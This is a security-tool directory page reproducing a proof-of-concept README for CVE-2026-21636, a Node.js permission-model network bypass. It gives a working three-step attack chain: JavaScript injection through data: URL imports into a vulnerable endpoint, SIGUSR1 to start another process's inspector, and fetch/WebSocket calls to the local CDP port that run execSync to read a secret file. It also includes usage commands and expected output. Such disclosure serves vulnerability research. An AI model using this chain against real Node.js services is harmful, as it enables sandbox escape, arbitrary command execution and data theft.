Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21636 — Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP. | Kitploit
Tools/GitHubGitHub/pauldechassey/cve-2026-21636
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration Testing
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21636 - Node.js Permission Model UDS/Network Bypass

Vulnerability summary

The Node.js permission model (--permission) is designed to sandbox a process by restricting access to the filesystem, child processes, workers, and network. CVE-2026-21636 reveals that connections made via undici/fetch (and net/tls) to Unix Domain Sockets and local TCP addresses completely bypass the network guard, even when --allow-net is absent.

Affected: Node.js v25 (network permissions are still experimental at the time of disclosure).
This PoC reproduces the concept on v22 where the same bypass is observable.

An attacker who can inject arbitrary JavaScript into a process running under --permission (but without --allow-net or --allow-child-process) can:

  1. Connect to privileged local services that should be unreachable.
  2. Pivot through that service to execute arbitrary commands outside the sandbox.

Environment architecture

Two processes run side-by-side inside the container under supervisord:

target.cjs writes its own PID to /tmp/target.pid on startup, then loops forever (idle victim process). server.mjs exposes an Express server on :8000 with a /pid endpoint and a vulnerable /language endpoint.

/app/secret.txt is owned by app (chmod 444). Both processes can access it at the OS level. The exploit does not rely on a file-permission barrier — it demonstrates that server.mjs, despite --allow-net being absent, can reach 127.0.0.1:9229 via fetch()/WebSocket and execute arbitrary code inside the unsandboxed target.cjs process. Reading secret.txt via CDP is the proof of that code execution.

Note: what this PoC actually demonstrates

Because server.mjs already runs with --allow-fs-read=/, reading /app/secret.txt directly from the sandboxed process is trivially possible using only the JS injection (step 1):

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

The filesystem read is not what this PoC is about. The goal is to demonstrate CVE-2026-21636: despite --allow-net being absent, fetch() (undici) can establish a TCP connection to 127.0.0.1:9229, bypassing the permission model's network guard entirely. The exploit uses that bypass to pivot into the fully unsandboxed target.cjs process via CDP and achieve arbitrary code execution outside the sandbox; something no amount of --allow-fs-read would permit.


Entry point - POST /language

This section is outside the scope of the poc.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

The server performs a dynamic import() on a user-controlled string. Node.js's import() natively supports the data: URL scheme:

root@kitploit:~
data:text/javascript,<percent-encoded JS>

The /index.js suffix appended by the server is neutralized by appending // at the end of the payload (treated as a URL comment / ignored path fragment).

This gives arbitrary JavaScript execution inside the sandboxed process - the entry point to abuse CVE-2026-21636.


Permission model - what is (and isn't) allowed

The server starts with:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

The intent: even if an attacker runs code inside server.mjs, they cannot reach the network, spawn processes, or access the inspector.

CVE-2026-21636 breaks the --allow-net boundary.


Attack chain (3 steps)

Step 1 - Retrieve target PID

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs writes its own PID to /tmp/target.pid on startup. The server exposes it. This identifies the victim process that will be used as a CDP relay. This could also be done by injecting js in the entry point ; in order to simplify it, I juste created the /pid endpoint.


Step 2 - Activate the V8 inspector on target.cjs via SIGUSR1

Payload injected via POST /language (as a data: URL):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

When a Node.js process receives SIGUSR1, it starts (or resumes) its V8/CDP debugger and begins listening on:

root@kitploit:~
127.0.0.1:9229

Because target.cjs runs without --permission, its inspector is fully privileged - it can evaluate any expression, including require('child_process').execSync(...).

Sending signals (process.kill) is not gated by the permission model, so this step succeeds from inside the sandbox.


Step 3 - Connect to CDP and execute commands (CVE-2026-21636)

Second payload injected via POST /language:

root@kitploit:~
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Why this works despite --allow-net being absent:

fetch() in Node.js is implemented by undici. CVE-2026-21636 shows that undici's connection path for http://127.0.0.1:... (and UDS socketPath options) does not go through the permission model's network check. The sandbox believes no outbound network access was made, yet the TCP connection to :9229 succeeds.

The CDP Runtime.evaluate call runs inside the unsandboxed target.cjs process, so require('child_process') is available and execSync works freely.


Full exploit flow

root@kitploit:~
attacker (Python script)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → target.cjs inspector starts on :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              CVE-2026-21636 bypass here
                                              (fetch to 127.0.0.1 without --allow-net)

Usage

root@kitploit:~
# Build and start the environment
docker compose up --build -d

# Run the exploit
python3 exploit.py

Expected output:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

References

  • NVD - CVE-2026-21636
  • Node.js Permission Model documentation
  • V8 Inspector / CDP protocol
  • undici - Node.js built-in HTTP client
Download Tool
Process
User
Flags
Capabilities
target.cjsappnonefull Node.js API, no sandbox
server.mjsapp--permission --allow-fs-read=/full FS read — no net, no child_process, no worker
PermissionStatus
--allow-fs-read=/granted (full read)
--allow-fs-writedenied
--allow-netdenied (experimental, not set)
--allow-child-processdenied
--allow-workerdenied
--allow-inspectordenied